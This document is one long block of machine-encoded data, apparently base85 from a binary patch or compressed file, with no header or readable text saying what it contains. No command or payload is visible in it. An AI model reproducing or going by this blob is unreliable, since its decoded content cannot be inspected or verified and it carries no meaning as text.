zeVa*>BOT;@5!d!LIZ_#_U8yowqLbFoHS}pQ1bSL+c6YYhy$_*?5&<3 z)bh@fptyGH;LPrlUg@nX8@rE-5`M|cqE}>YEn7Hsxb)}6RaZp3-_kc@r@yvtbVDs# zg?>riC+&AE89Ob%AE>oS*kzY+?Q?{&jS~gCFYo-UXP2)(duQDMbfJfW3XYq_|1>&& zRFE*!7t_5`b6OdZ-?6bfv&v%EQ=?rKMz^RtquV>(FTdQL{%YDTOMXun5jdi&KZtez+rhd^SL%Ru?<*9xo%g{AZ zOeBOf?z}{`V{b0UD|geXUWdrhH}l4{FYbsQtoz<}6|~yYT@Zr0SG%ozxJvKewtU;A zyLB>x`JaFI5RQr#W3KPKCWidK@A{1vDFX{oz5B>Sco`LYH=3FJEZ}Z&gPx#-K zt2+qchcCLB200pZn*Xl*eaGwf$N_5o#9uYlRVnXVYX3KXjpM6QpKf#tF*E}oR(y2j z_cMm?H&8rFH7>t+fkv~xGu>lu5`J%2UZt{G)7Z((t#4{_`VjQ=Zx4N=rlaz4>RGtl zHbmrIOuL}P`7nbVk7f_b=XTjm4_iNjoZ04e-mSSOwtL2v(Y|g^)$mwbH_>#j%*!}( zxMt^A@$G|L8?n(9YK(Op2iLJ2iRfaI> z^E{*R;HfT3Q-HdD>fU)_z^&50Lp#F$Q{W%B-nOuHa<1&VdEw)mV}4G~Bc2q2YL#8` z3SOD!a@EHLGx}^X z>wdJ&Te2(h9m8LP3>Ugx+$@T@@0XRjKx&=Sd$PDU{x(u(|LI-!%HQL5z0sI`K8$_; z9&Qpp&%Km);C-5T+Rj66Kc8jatN35quIs-4uH4eyw5&;LcWmaXD_@)bUVnA+#gCUB zLw;w6E1qm-NjwRsmx?bAh1RrQ18HruyZm~SzTOM^Jh-X&UTI)g%Nl>9!03aoTKhg~ zmOg)dcPRU3#*_85Mc<aM+izJ6@Jzaq@&;{6(7>6cF{roP81J7nJ-r! zz5ILc+u1)RcTTT(adJV{<_~*y$5vH-xcJ%a0A|sDfsg9ShVJ{X`djg((c;qkoeQ@1 z%zR1Uvrc`^7v&9JOPGkP78tTu`L`e>(#u#2M5&>BpD8RQ`gzMb=*FSo#{^#Yk z@CzPWb5=VzCRWc~(D`Qlk^b1}vn=Pu?5n7pE*xH(Q+@Ng;RgAA!W?o+IgRK1&pOk* zTDt6&*R-G$rWS_|8ONm^esU+%-x3pLI-`zph%{C`yBT35Bo~fRP6O?nLQ_LuGR8(* zvN8k+s`-LhT%SrM51>$vp;$Zh+V%%Z2zskPC=x9gB*q0jZZ7reO5@UUu>J$my@E{f zF-C$QP`81e{Z?j`DCq+`iwkDR)fR)4qYj7e2q!o1uk*+%vbS>%CwMHZn6`P?;qSLG zLGKsVoy>ag#GmZD(h+~k@8bIfhL+vWxes5;+bE|Uk&RIw;LZaE(}yb z_Hh;$4iW&q)i9tozc$%?inb}ECxjGR_mgodd%>2a`5$_E4u_#py`GE_Ovo-3L`G0g zD`&)~e*-QIm6_u+PR+QPfox7vfl7+n8=wj=Wdj-S>ZJjkWqo~Jgu(T{*DR7brUU$b`o*D%*C=h?oh@!ihzPvUm} zS~mEU7H~Rg^|ZNr;@)^1ymD{zr%km-f{s?uwqEr~3@P|&w6({?hb2P6KeYgX1At$9 z&@I!I2fzNAcHMU7XHZ)Le55!)ulJsZymfSjvjX7BJA)cvJpfhz+qmlIx*hMX9Q+)N z6xmb*TOZDs6K*d7xtvmg(+&XZjAGjIUtwtm!h{_PW}KXk`81PH$(R703(n*G4S9Z% z)b=Jr3Q~~rW6u|{;~5<@mnO$JyPB46_d{Yg50=gz zO>OYk2}4^|3uw$C+YipU)JEmLEe5(KGjOe6Ba&-7AjVItt^+f;bbmy8N$~jGhJ|;# zW^Z|@=2BZ064o{dR+wCtcsV%LS+AbE@NnOOOIZubmn8|hb-)(|-Y6}-e|HFiJHd+x z&S@sDwlOd)w9*;vUh|E{ITmk~f^B{pWQjgc#vW$Of!?|>sA0KQ9|8+~IA0*54ae+D zH6e72Tb47JYRN&GKNjr=;w5!Yx{3A#hMb%oD8RlriSchN$NjcN$oC>|2e;M|F+0+r z#8bIGJ;tIXfV8P;6Ka7bmn3OTtv6=?%lYWKHEl<%ik#7iKp3>m5n4s@@Ifyg>~)-i ztiQ+&L0LnJdN@_VQvT!fctgIRqwYMC_#LFJ7^V`)~K*fBF^nKdH>BC;1xV!p~13C;z(+0 z_C*=_zcud~3Q5l`hA)ll`!-+x_591RE!Sl(4^O4K%ujs(w|T=Wn>%MOLz&I=jcB{& zJ8=e$$;nIaP*Z3K9Q-AwfRLcTKJFs;Z+t-6A)bacWNlqvmD5)0a;^F&a*OWC$w`Vj z_DylV+b1pX{LNCU3GEz@Dt_6ze(_g#PDDt91Tbm%*VGC{zz>Glw*kKRLmUnU%0ZKU zuI+eWr<+GpkU#jKwM^kKdsURfrG&Fw zyZ`Zr_4Qneq2FzT-0xN4X($k;WsY&p#%@{t0VyW1dJM2Ttim_0V}BZAhk3AykWgPO z5Ot4oL2JEBb>HOP=TOK08a4lU&&XBkK3|f^k^Jn6>9X(ZD0h^UdpgRr{|=sVyKJ)7 z(_Ku;<6v{dqy#kBNQ{(cF`ahd>6A%OoYX>?Qd#|6qa35i*0=N1ZZv0qTW^5w)3$YLF+-l_OhC$~|K9|`vm6_x$~-UGb|Trb8vfzWnOUX4#fnM05YCf*^1Qj4tGrJ( zXa2jSw0i!jHEiDL5gPT(1=n+9uFVyB{SsS_u9E5#Hz|Kb3Y5fy7AfGIL@Z_fM*2*D=A zrjKtLs65ixFugGHdaQz2E$(dutS0!ZutrMgef;BOyA`#R@5z={2(Ayb3-+9ThGW}a zOSDzsskjDN~Yxo|UqH*GyTNqzO_p%pEiOv{cPj4B7X#uylN5yqGcg1@J~O2^{8_)QnldepEZ% z{sd?6gKb_iXXWheR zjpf@2PEk^l$qicDR*?9I3)zY>?pjp>*KUt=!h@`I-RyRyLg?4;@-HLE*LSI2rOS_h zFZXW=YxY}qar3e(j}l|zFB65~GgCat9M)LvND7nMUpr^o=NX%_BHqaeZ&hsf3l`gk zEHe4b6rej(L93ElhxJ;>;U9{AEAsh{v!}?yVfNsV#pt6IYeBOtpwpWJR!QyNf|RAY zs2HwY3)jN-l7)DPrpz__Gi1tCL{H1j9_zPsc!MEpEyh%aKZo&HvLz9LJQUdBelzoL zgl%g}Y!5*8n`4tpyB3cxwn4$O`;C?`9hn@XPCmO61yGdTRSVA1;^x67n}$N0rSJZ5 z307jt2;U0PhT3AlQIvf)SzNX#@x4ogTT4#8neb%A>QClL`j`8b{v%mByJZ<}i-dGp zGJ}eYe!t|A^)_e7&PsKD;5&ODmXWVw4+5YQa`uwZ(f(w%Gl%dhhOkkKgB2WGEtm(B zQL)W;Y1+xN#QLn`Ax@MnGF%U6n*d~OKA05%V98=ro7e1yS|W2C2fw0tX% z+|A@vY!yN-KpHVyw*B~i-?cbN$7(WR ztG-$zGACkg0xt~yz~HNI`~%EEniw3)0N17wG1qY|3`Phhy!@t=K!iaCYFK)3{wP=v z*xltr?SHGzezAH7mKur4J;^o~P@qw4)2AX&v4|+wmaT5lJ`1S_*)=k~&+2 zxb8j$xb@#L7aRq><2fmMdbClH*H zSO^rW_4%of8}FFqR22L@P%zuiWk!GAxr;^%a!zmiyMA;@!JR8L_aThRx~rfpjkg+h zd4*{AKH3uKj2z^1jT#V~A~BE&Q2IdI(BzWmG|-=KwIbQrf5_=`axxDE^;gC0S6nmy zTFdXMRr(=J0vwXVHOWb~J6wx*20+1QrU};+n925Cc+^OZK@bD3Xy$3Ny!EX0*C*>g z1ss`uM4&p9e{1W}2U{;DUc0#5dVcWC{JGnAS)tS}(5_c%oweU;qZngj=-ek57DB7W zWINxoz(0u1|G4bFA)9u-vH4*_>wZJ6+a@>}PrQ)X%(u-+WI1c2W2P5<0Bi=NSC0NN zULl4&zBA{+yHp(9kub(4Df{kBc2~0HC1iRDe67FsN;8*gVoA;Lv0;6;Jq&s`ZXoVS zwjJQJU#KiAo~Akj#4)bHm|eg`O#6n|k3ZAA(YWP>)4oXU^h;Ie9`)wD{>+ia8z%tM zoH>SV-{#Z;cBYiztHoenk?V)ppSZS%rR0GDi&rXQ?E;5z6r=1qDh1eMQj;lSY15?3 zvn&7d_Z$(jlFk?{oz;@R@>=)xscuzUefy*J;6Y934kOngySp6YewF2=V5kT-4z8tD zDU57~2!f7lSK(eE-}nYh_ya<76cjAiM4&S6L9kg-*CWMblUmb+A=v^#i-U)^uMeJ9A*PL*G!9hEH)L?nvS9*kul_?z<&ZBO_NfR#LmI?3(IQhqU#Kg z6H%J?^gp$xeOH;Zb`hKw5&*O>u4gCfEt+0>tJ ze3gS;oaldvV{DsD%|fa$he#>EX&x!ZY*Eq&*tqRFqXv#I_d9$J{_;V&^n8fxQ_F6( zq$RHM$jzYcm}@QS9YdBkhE{H`@hrL=vMnEn!!kIYhCt~b)Rhd+TlX(`!>#NS*6j}n zDz|W~IN&zT@XV-Xz1_Du8j4-76O7_O0C#KOW0VG9exAFfonI~ePi+EoOkn=n-`ue* z%S;6jf1_@Jg&Xo`+FdNvWwhEujbSPXRL;r^SDM%V`!d!`_ydF8)l4X~9q89wi(dhb zg~xS%v@?PIGYpquH+Tzn9n**6y_ad36MSQj5Lf+m;USYFmPLON^`AqwmCk=gUij># zdUDhzbj)%0*uMw5pY>+)c3)*`=`d)3fK#tZ+27F}M+j@Wa1q2vhZVFN3CF)(t`_Vt zAnqUiv+u;WwRSgj!)*I-{~W@Y^zBl+**l}i52DW^9e#DCCg0gBIXn(dqcBZUXfQVf zvXWMN-vd?bPrTW`!nglCE&5cj@}kS`sXI5P2mu$rM*O6!&0@=*^h!U-+s1!&&OUZ) zRt;))Y?eNetLG-)0AAS@8r&HqhYSNJUj~_(?1&WAs)|kdc`2K{rp+l0(rEWP4XfIv zB#YRPJ4$U>zWag`nfk;FC)GvXf6trR^6y*W9%`as7%+8=u5y`6+w0=P#p4L>l#3+4 zv+;ZU&X_EJAM4zAHsScX1wZ@KH0KweJbdwt-#N{hWsk1zGzw@Mypr|tf7eR_&cC?6 zGRnQ^pG_`YAv0Ph5G<$0PH*0%b z!>tE(;pwmVd5?};oO)^XhO*^!Qhzz_bJa{K~ig2Cr?`(?X}l{!zzSV;^W?gVod|O;l`+`Gx)OwnKK15!i3 zN@ug<jy0s5Mp)538f52{&sgA3Z>aPUUUB^43t<~1xe?~xE3Jkwll z2g%gBVGyuM{%Rd8$ZU@R#K8e~M$S zEU%|!ZQ~x7JA3Q@K9Mo!>eJb`E<`k8E}jcM1#v}8mn(#kr3y^gpz$8J-8wN?fBDAW zO)<~{rDq#q7FyX%>lr~9<5vY;bW;h#{bsj0PFaSr4%1cVo`}z^DoosSM#L)Bginvo z99?qT*|R`JIXcKax0&XEA>9x>-Sdy~#iyQ4_d_EBUnIoD)PvZ4jWO-413>dw{hXNX z@^zwxl`7)=C@<)&TzYcRVZl12ey-i&Clycrw7&yPwS${Fuqn4Ed@GM+pM_ZP;CI+| zidZLH8{j7{u%FFr?qX3xf|fwL2SK%2nS1T@+de%*hGPCk28OX*hky-|IM*?w)$#UN z+_58T_2PZu_s%>XJbbM8C*LZtd9H;++dIb(J|Bqu(9v;N@#**z*5-yL)ALtFR`Cz+ zm^p~WYWt%(f}PG=#%DB96DN%4PA{;|lM)kiyk~v8cqFlH?dW>AT>l;Q!bQw|bZ8G;aYGqB(LPS-tRpI@`2+iK8VEKAbWnNF!| zvx*|h36G`5vn6+HdJEb_?{!>LF=lrAhCr8B#H_e1t3sNRwj*h1=~b{sOZ;*Dxc#E)u`b?evy6Y+=Aw4JqNThyod#D?xc?E!f8`~Rbbp9yNm`XG%p#5ZyuR}i;M_H z&^+86WrE_ohS%Q zZWl*{yfWUmqGb={nR9FAge85oA{qNJ9<_PlDdyW%B^OAJF3MTTM=f5I z?~^wybTqqlYTwz3`|cYrobQC5gIy|`Yv!DQvuP*YlFwZ9pO<~1axG=asZM8e{vD2E zARL{nE7^|J7FD$`glsj4{aUe0dMr`O(7?2MbCASIHAoIymi>O+(&CL!8_V~(F#(X= zRcxbAj?Cu54)|IGV+DhSijqrofWOdREPeX;aiodf*eJ$bj@Vmb+g`CFJ87c4HSw_v z|9R8|Ra=`^JEtw8N?=UUk)CHJk(ULlVfKXA9z3fXW1WLo>r^Ey)_m|G_AZ{HDak2S zQ9ngCSa_9GVC1i@VMcfevmB^oj4&sO;UFw>Cnn|E?PoABqJg@nj|1AuH?4zOo{5j8 zDX@pT3f;(vz%aGNTqdtycx(HyW#Kfepa3YRX3O7uSI3#fAec`dk?9fp94v+CYSqF2 zO<%tx4VDuEQqcePstWH2tKx38wIv)-KECq9>~qk=N!tK!(B;mv=gW2DgZBH4chFkB zH~h#kp=4Z+a(RCNGuAC1C0nIKE*O1i0~ccyg_6H$JDsrQ#0W(#{#-EXq)aYZWe5`E z;aZ$nzGuhyD|(SAj2mr!QDC?9-m7_rL0L219}B}ks?4{FyJvy&gv}%a=V_;bRt*bT zheTo1!-klY5ChgWC)^=hS|(v8`}|{t8Zxs*043nsd}U{7RXIuI@XhSpDb%RSYwbd3 zjA>(aBvi%S8>g6Nx17D$WIl(o&AlBkburIcAD)D{GPlXp&a(#Bb2gXv^fGGZvB7%R zKNu_kew5kCanu&<@|c*za5lmDS@{w8^jQOQP2vPaWAw~IaI*Bqqm zbvJ!Kx@s%G%$s8cu_W#6Kf3&Bie!p|5+>i^6~?7-aLbfJ8WDTOt*4f;g$SLpiIO_j z*D`j)YLlg~!i`~X`bHe#O6Goe)OqmlxN7z6PcVMN?^Mh(=MH1^dzqy&naUePpcP2L zY(_3Mf)gY%=nH%YYZ;kc0`eXoE?YTdKrLgF#w~l99Out?Ww%CxIYB)^Trpf{xkr>YEk`7-uQZAmFzuZP%TRz09NZQqc8!Rb&BLow!A(m1^W3CF z5plNClFq{!=w<>GpD!XV;V|fO%#{e@8YQ-D%$&|6q@wuUJe&a$xdq0Se+Rvk+H!V46DgA_Et-u}{I{!(nu zl;mzX1!*o|4btlBRapWApUWYBd$Oa>8*dQ)X{Y1vjMG^heco!tcHf-cXMgN04Zw$J zr(bG^PDT=2P6LiV;AG{lOeLjzZZILZ6a;okJ`$h@*6XfCph=J4l58g&O>0P6kfp zX$F850XRmA^8oc1iY3VbjLv9ENvKdkkDpK`5y}?MnqUc#FQ@m)0lWwZm($+KF-!oH zp`^FSk~r{9Xw_;cKL|*udhi)A&f8v+K~7H07>M2IQTXLC|d7a}pr?toiE%GHS>U zzeWBc)Tmr)BrS=nRo3o()ASmOy8+dv!44|s z^uUa2CA}BG2Am?Lr1NQFs7XotWl8T9VF`5%SRD6BLwg5P(j^3}6 z=~3vNjy@)*e+B3|1B)O{`~#ufLo*HNydcS3YY}iArLENB-)oKVS`#Zy@JCCbB*q|d zrNRvIsDjuQX3PS>T8SKof<+^--{kaf@{=DKGDnpDK|=e*p=uO{Y!KNG0qWCegQD86 zB8q(AG>bu+WEka=!`ckfH3eP z0Lwr(Z!l=_s}fI6f+-b@T9xJF(Ao#vcIsSA@D8=M{xehn2L?Jo+$zXTtj( z6~wn3{s)+L0ABO_r_n3d*qbO+_!TfvS2-oo{UTD-bnG_;)edlY;7lKokk2cL%Xk>N z&kA!1P^(;X&Pnf~bUIh3Ag`9!5y+aLdGz(m=o_9&MIFCePtQ`|!#TvpoId1VS#>s;HxGg4zLkj8Od52nHvy%QsLLNqx?>JZo30YVf z+rSHR(EyuJdY_mwAU}Ry1JNbGk3+{NmB%ME$IZ3C5}3C5D!rPwg@@ALA+%orRimU$ z0^}LU^!XaftHUSH>M&hD57f!&jW8e!#!sPC5^ORbUF(vEf1;&*v5bp8sRzP!6diK> zBTDvCT4qJyIvI4+ELyh~t1QXtM>j3u(Izw`2c5YAxPB8j{z*c+hv2u51MVDh$4?sT zCl5-76iV7B9c@HI-KuMEGj}eE{Yd5S-Ug`V)kht|Ye0^+cA~oT|h9r=~ah+D(uC#QJ6MIFZ)dp^E0+q%oi39M*Ij6*8 zTq4JyHWuq(14fYC$~&_~lw>Uj^0nmoC|1cKel_reVB8OsuGB7)NP$Lx%#-6U>2T2V zs6?1H%v)!JfHPp67%{3`gR^|@>d1)M22+0_v~4=-2Of?f!hevo?b71=s*GL-8Iuj0 znS!>s1~k1(|EeITD@Y$u|B6~gEsC*(n@169l+qFp7=0DdAIpj9I?^Ex#L$ois|f2v z6vOAAn)M^t3o~azM4Hx0D*>pVl=w6G*ZV%;(-pV>LV&+|=pS{YbRPNrB<9_=TS_^- zl;=i5o~+Xumai3b5i}sCEtdnAPzYZ?D&G2Uaiv1`t{2YX9O68Wvm=F&2yN>i> zicYSk-Z^UyA zlcfRf%W!pnf$wIT-^g6&6MY!%@TX^b{& zPUtIvB@EgZIe`rCUy}@6(cal5#~)Jajs6xnm@7%~Yajg*Qy)e|oj})C>PFfXBq!AF z=({0Oq0tN-|Jx`z0>&vh_viJD-V4oc7&6cFn$LlqtWjp)Mj(6zWrmK9;XUe;L(i{L zKEa&~6k0V1_;J=QQ`+JI?1aY1OKGUvwZlr=&#}t~@_|{fVMoLfbSs{lnYknD)5Sm= z6B?ILX2IaD2f|crntOo-Cq?u z+ynzBT9_OOX-<=yfzyAJ43@|Z_Y%N45q+h&@1v5oL~J;vVTaHQUk`%}9!acn%$M|REGA1#!w=`N9^hD zmivAX(c062Xff@hp>EmzVge!J#pwi%>$@~sl#cRMLt^UMaR5WB)u(eMs1{<-szvI{ z1_+mVo6a#-_n8mM2o%=q!Z~?(!n?8j7*QXx&z#`&+|(%-mSWonuf!l?lbdlE1}h$T z^>QK22I(+bVhdzKH17p(F+OMmg z;IHdqypi$KxxSMFS6t3%(LCm{v01P7B=>)3QXluY-PXSbz=+A{1(y&7;o_#{wCd1f zd}&eKgw3K+tJLF4y#1Y3mH5mng~d>G%y}t>oPklH59plerxIzP~^B#~$0`vwgnb&-e9yy`C?pr@>vS z?TmB{JEz-AR#V)zxI>AXZaIE{KyA4J@&pL7qx7V_|Hn;_a=0x6jRj|c)vx`skSZpi zSNdPxK&*zSJ)lQvkM*tgYSCy42y3{O!*JJPV%7538@%zvCfIn9$PLpS_W|?oBne@c z0;$+G^rJM^c|k!+yhq{3ltiz61*x+puPcD(OnXRsAfEB>$K&%3QXT@!#^rf1?k#e> zkwF78-8bJf?<7vhhy5fVyZ69L^0XcSTvgoh%BX_djH_sZCbJy26}&Km+}0iQlygM? z(&kgX2N5}f(onCU{BlGF<6HR{oUDUbu;(Kl}6}wE~VGPbd=4_7gD;iM=rq1E4ZT=CYEiz1x?U% zZumM~nN9cPtWLH1DznG2Su?)<0*qN~R0*V;!B{)497FfZaFx%KCFCAS4W&q;$tzKE4 zFuvLcqsV~X*s&{|0NJv8EN-Q2<5$pUBt;9fHEPTU3r<>I?swz@-ALBxnQV&hHvkuq zni$%^T$$4}1K!C5ojix3bV zXAFSw>4qr+X%A(g?0R^mZsznqJUKfOg@>UB(DJvin@#MT=uthHDAKunmEj4qYRe0| zykJDmIA}fSP&~S`R3ULZsJj;VdUqu(P|o;Wfg$rm9ie!9SO>3W!=bG5 z0_jmw;p?RZh9Kb9e>nKbljO~p2P#He_3W!=aBzg{u&iiw@x8|Sy5M4vFu zap}?d#429h90iIeo5>T!SZH3Rh>sl9KP*L$+H)ouSw)X7>Y-}(nQ{u-Ry+QGRMEuj;4x4+9GE;ld6wiA6 z>YRy(%q|&h>!YKtZI+0cIT-w8RgX7G!W!-Izc`&2G0mLi9y{AJmBOtu^%tIcJ&c3c zD7>iCi}R+I;G0|f^T4Q#H7q>n4(20?W-mIn<>dQ|fGZ)5u>PH>>6z^6=Gc-`C3Xp` zcW(rqx@LBZ<94d*MW%`*Icua{^*zx{_~qPUu#%Jzb+fUeSSVSlVGaHR90feBD%K~N zR*-hD7N&u$y;&(XSb5N@X0wjjw<6}El-cHoy8h({h)>@jl!lo861kt=#N_=!DShc^ zNr9s`-An$z2j^;!@;h6q`StSoc_?jYx$vCBf;t_wSTFP+E)c-DgapoXD(e9yO2=}CA8eTjeJh}aa>O?)G48a6E|mV zy`iM60D7l;ms;$$7j^nBdtdp_>IcBX`D+)PT7AdK{}}t=t~hB}=$xO8^X1;BY`*F8 zWbNl7doVXom7J1YVIisR0~Ctb-Lkdj~NNFt~LQ*VfLk<0JWrL^@qBLIJ7T@FLOQ)|RnW0NBq~zFmB@tq9!2KbOai znXWv@XkaZeAn`iw(=#9jK@HJGFdqaJH^BIIOlpC)r4vr-f1B)#FMcoyM=jrMfbtA@ zMGL&b8Vw=1@>wSrIC;%W=lE0*bLrDBPMcObp-|86(q>yhTYz#|p`Kq|k5(}37D_?KH^%#)!j#XuPyFZ$|$s|a-> z;fu$b4>v^G3xU`MqU%SGMYqUsMJQ@Zo^cM$>Tw{+l!Zmk=K0ZrVaU}SDf^2kKNUeP z3RqF3{8@>3^NE}3kgJU{xQA_LXd>vUJq1XxqMe<1_QmWUmA2$)KhUQ^>14$h%hUuu zlvhjiY43DuSC#4rlO8mi4Kqr&)C3BNdF{K|CHB+XwJUS%(Jq8$WsCrq=JyfPop!!=Xd3o;csfi{0pTyJ{V|omN5Due3>0aUf)kBXrH0!KU?lt z=GwDITw?E-qgjL!wh4%n6bRgh-=?eB-heP_%QrWuVFZ-7Yh#5H)NpYw3}b-HMT$S# zen)H9I9(Q~=PSxvOEl3b>XP>Iq4b{;`?Tpfh+~5qgDlSe_&ZG3ZcW$3H4rhSKJRtp z#ScGG6`{b3t}_A7LEf#HhangU?a*HTX~z8HU0>^n3aGH9+$#rxg}CBc0#5+USe9_aIIRSi5-d+DhO2B<;G5_TE*vwI%j~FzrS_ zMJNJ1YAX`?p-wV&c+3AY;K6eNmmk5vCPa|N`GWa+bcp%M@622A(upvsQw#2QtiO`0 zE#fPUzx&K-*Dj+I{d3Bf^NFkb5*Fyo-4P5H2<0He$d(Gh+F0QM&c+HQ)KWD^29gaz zk^DZ)%~FTWmMq2XIt;srBq& z0WyFKzaW}ItVuCB1oPi zQPnT|G_dVypJK$j2!s7X?>7j{qMl{v4{wnm(&77#I>Z`4+}H+shplzFj{@Zj=#y zsKAo0$8@TPM2|2Nanhbh_T0JsQtsz!!R=Oo(uOUBvgcB9|xK8OrE#EGU7z$8kS7^n32#p^x zjIT?w+VB$p{&yeLzZTg0S6SpnVqS~tU6g7KqD`P1I{B zH3STu$KF13dJgD1T*h^Va0W;rCC=a~-O$JRwWsZJKu_TgI$gEq%~EnG@wSC5l4&nR z1DIthM`z)*pWPnzM`@F-XyOI{mEf)?E!tN)(FYF{ z0sa-*@mqM0_D1Xq?QmlZ(q zn)J`b+Wb*2x350PN}*ao$4yEnA-+_Im+!-_tmPCgD4-KJRov&%J6sLs^1Y8-lddKM zD%Tt=xuA5!P(fU6K?_X&Rp#5?x*dyCUFZ)=*KSAzC^@T=vdf%Ce0`iHBk{)hifclSbRt%CLLVFarP| z=M1crDP0w+fv>Q}R?RVkETLvg*Iy0+0pg4&HdNIVvyxG(%3Xoq?yoGVE2kGJJ*hQu z+y|~*pq;tARG_BQU$4!CHgdIl!MY<;l6*l>&~pg$O7qf*Q8nHr4H>pAf0CLRw&?N` zd!-Za9@B=EX^9-_@ZV>iY0t7Q=wcW8NVE=ZPe!L@bjeVRNH+X%~;uL`J#55=$1Fp z+N5aT4Jp`igVH7piL4;HeAUcHsN%erk?q7S*0Pi$d|n0aO2zGqwi)?~^85-r@Zbac zBw_}?JjCl~B1su3JvUE>SL6tthEMDc(qfG3OkG(%s!bLEzZaHQHskZSyNU%Vxu3Bw zpv|V2Nh`pe6R2S7LL{n!7}%D=*`wOjrA^aSCM6+hU(0ahx}90XVruyuGwyKhfb%!| z;G!SGa~Mu-22tvc1FP-N?a6}}>18lo*W z<1_fg5?R^weW98NL^uU@Ga<7Q55q->Yoa0_*^pI>RbC@YhO~w4<@0rfPUDYGGH@e8 z1jQ{nF0j7qu_NlW4Jn+Sq}h^ATx!5$J1e=zZKq)|~=E>=fe-{-?N6E;fm z(sV*Gm*_FS!ZU-oN{at&yli!=a;pb1qhgw(Pn+C6OyNViy@bl^ge6p!jR3)%OTT4y zX%+#*Tx>L*2&PqNmv!Nmg<*)%vPwjkuh6;)uWc6sYYfD^obvUkwsmx1tv@VJFCUj^ zS7HlqzFw4WTqPxL3)4B=2MUSWMP?0a;(B@Y@q^!OaKq}!m&&shgiF7bt%C;hy0A-H zSs~ZAdJ9k#MqJ(Sr7&H6J^9JjVPAGMaJQeZx}rL}2yN~G*S2&mloC4+%pg^0vayzD zt5;4}nODzV?8fi)?&5Z@8*|$_6fIqitFP=|3YQAr5)5#0`=1v-w7FrFGrQ&U==kK2 z^4VtGA0HeRQ7>$z;?6xI`XT__f-jZ*J4c7luPvWE>^L_EeK>J_sZ#^It!3Nxh?>ND zLP|q)(fnbk!mvS6mdP)jj(RvRtSvN@&9may=-?BcPKeOdwObpt!e)$(Y<5IhsD+Yh5ipuE5^{MQpy6ao}iuX2%uBlI}nDy6$)sA)tO=jRnob-g&TBlz zq=l{M>G|o;h?3X2cCRR#Tkv$lqZ0$?Nk2~GI`FG13TmETTz~}P@C`&{eG)@Ud&?Y;I#;>Xoin{V2gsy6^k^6E0Q%u7nBAA%9XVDt ztqVt=BQ*tmAng&R(E5b7F-NP^cOz~O>Oc`Lw8tjq&)C>nDY3cV-fN2ezI69Tmz?j0 z?Pu!1l;zv}(x8{tV3__!(*b(Ej( zCLx2`|Da~tj=@oMW})n8OJr|A>dTpvzMXNHdK@Fc`SjKe)I<)<>FAJiy*Iv#avL~$ z#|JOqQNmuM>N~*;L(DH??OKlTV@@km#DoeKGAnBPNAe!-%ij48(bk^5^TM(Oct*(U zE{Xk=)Z`V$z`s#Ra!{O1_ex4!kvbLHG(rAJ=>Aamz&^C8G=XJ%t7Y1*@IUy9sYE+# z@VscZztr=>7I6Vw_)vkdH#XJ}Aw+gO&7hG|m%?{v99kOe!1EF!@sa0xWg>V@%P+I- zoYg*zsOJBUqK>x*)w`lUbWYh7Xy2*W#rJ;dIFCcCaN6Ze`<4ZG_I0=12`=n33oAzq z_Ym>iXf7_|pV9jON%C(GW%}#URkoDU3uKT#(ETBhuKaPKnDewdF`4h4EX76Lp>%@y zzNhnvHnx7;?x@?%zO=m7fXH1VS)^~T>A`nQ9!-hJ4OgrbL8oTFqY_-|_aoWiqG)^( zJ|;H>-kNk3TrA}}`%JHQP)!Ilo=l$2?3@ngBej#WlV-1K^E~*f{l%0ZjlTDL3KG$M zl#aLFhcn`K-?^8Z#vIl|G&4X<*99;XLdPX9ko{Mw;jtk{sP9)?{bL=VJ}AjtRaw*+ z804sC_DG#wMuD=1?5f4nJPBR|d zjs3S(0M7~W#FgYIU7c|7&NOs&!-{y|Kza3)I$nxE(PhBgo$smTtH&SF?B~e#q)yB7 z@eT$t>jL@Q5PX0-o!Mqup z`6Mh99;!C$9R}bNpwMX3e@qj~%4;{>W{}WW_OV@0ose?_Z~EQHxpp9L{+jte>uE+mTK%57ldYvM(^FGJ{`PM+_K^q1_Egk-uY!%i=$?N$g39f9J{xGgGeFpFY`l(|g4)(}_zEW2|G_&7Dgw4Ga#^ zuiK5R+dc8q#ubg@I=44~I8Cw^o6CjY%6J~UUkge8yic6U2t%fH=__Y(VNP$lSbFLA z{+Hj!%a8&uQal%m9Qb@^^CRF<&0liYMfWOG?gV?fE`Xo( zZE$P*Ur+Kr-LER!(4@XKI4K_wyV9Ryx$UfUj28-8xlhk1YQA8;sj^drXeicCd7Et;aqpM&!ew6F zx$CZ2|GLYbsyn=8T{3*}$*tSt7qsEw1MXzv3-hwl8`5 z@3OOsvaJ&%Gl);0-)NqZ=A*baRT9_wkW z>`Gd^I!b@3eO2+%Lc1Eqyi;2OCa(Qfo_*l;f-6t_Tn$FSSA%qZjLi8{-}T@knQYH* zf0-V&{f6wEo2j|Gm3Z!(gB;8e@pglZSfcBEc<5cw z@@uzydb4HMiW!QZ;@8_9whdqY;lh*CaU61u4miZc*Km3ta)C9^@Fx#{f7JkXN5-*k*P= zB4-?tl1F6jmGTMeZhYQu&bfn6H@|vh+x8c0<9^y9*_BX)DAzf4n47@;gP7&x2X}XZ z#bf2Nr%6n&8a&~f{I-Zoub2Mkm$^U);6l(z!E{@DcfM0xW9^JT`afpf zkRD+S$=%vA7mY54=gePN+dsLZf9hCf;LT+X_sryDW$=pKt9516czi{jPLL;L9=sRS z@g%t45`44QJ*kfjnPZDAU{pu6L6vL4EX;a*`oQAmg}zVKo}>5dzwGs@#=E?8j9TY1 z_umC@hNJt#o|gwWS6M&GcGtp7jnM&;l?yU`O7I)4M;8?DTecXTBzmy4*l}SP!q>pj zZ?VHUGI46u<%CTf;ptw-|D62Kr`7lgeTz(gepcCcKbRD~bp3l;$J2Y0lFC9}43NUJ z=Egs82!X>(!P4rhQ5jF*bImJvdnKs$yFZ1^-Tl4o9o;RRHcDaS**$@&*$cLDJyXj_ z6a3WKa0fW?2ejv5*ob_F*bZ`q(e@hwzsG&kD#%`Y`X=vURJE zx{p5sb30-#b%0e|!ODT>*-HrRh)1)ER+~QUn9%nv?A=7$z!HWFC6s1ygh4q^oM~fD z49r1-nqev~B_%}2Xfg$plqEgcyowGi$eUR?AkCQ@9%6EgI%v`N%Nsph$1K43!HF+} z$dpbsgZl{b)VZwgi4mF-NG~1k`wWM&L4P;gs4%D%c8>yVx{ZJJNQ(N^fz8M!g0C=Xuo49Is zK^eXdxFWkAgq2o(e7=8LIu-X4GW%IQOaiAH;4Ssc*WMJ5)?=G<*tN;N zud5wxpNjki$`Vc1a8P4r@Ug7v?#>IBaeo@ZAfP{AvP`sCp_!xCKE%D;OD+QwO*3dl 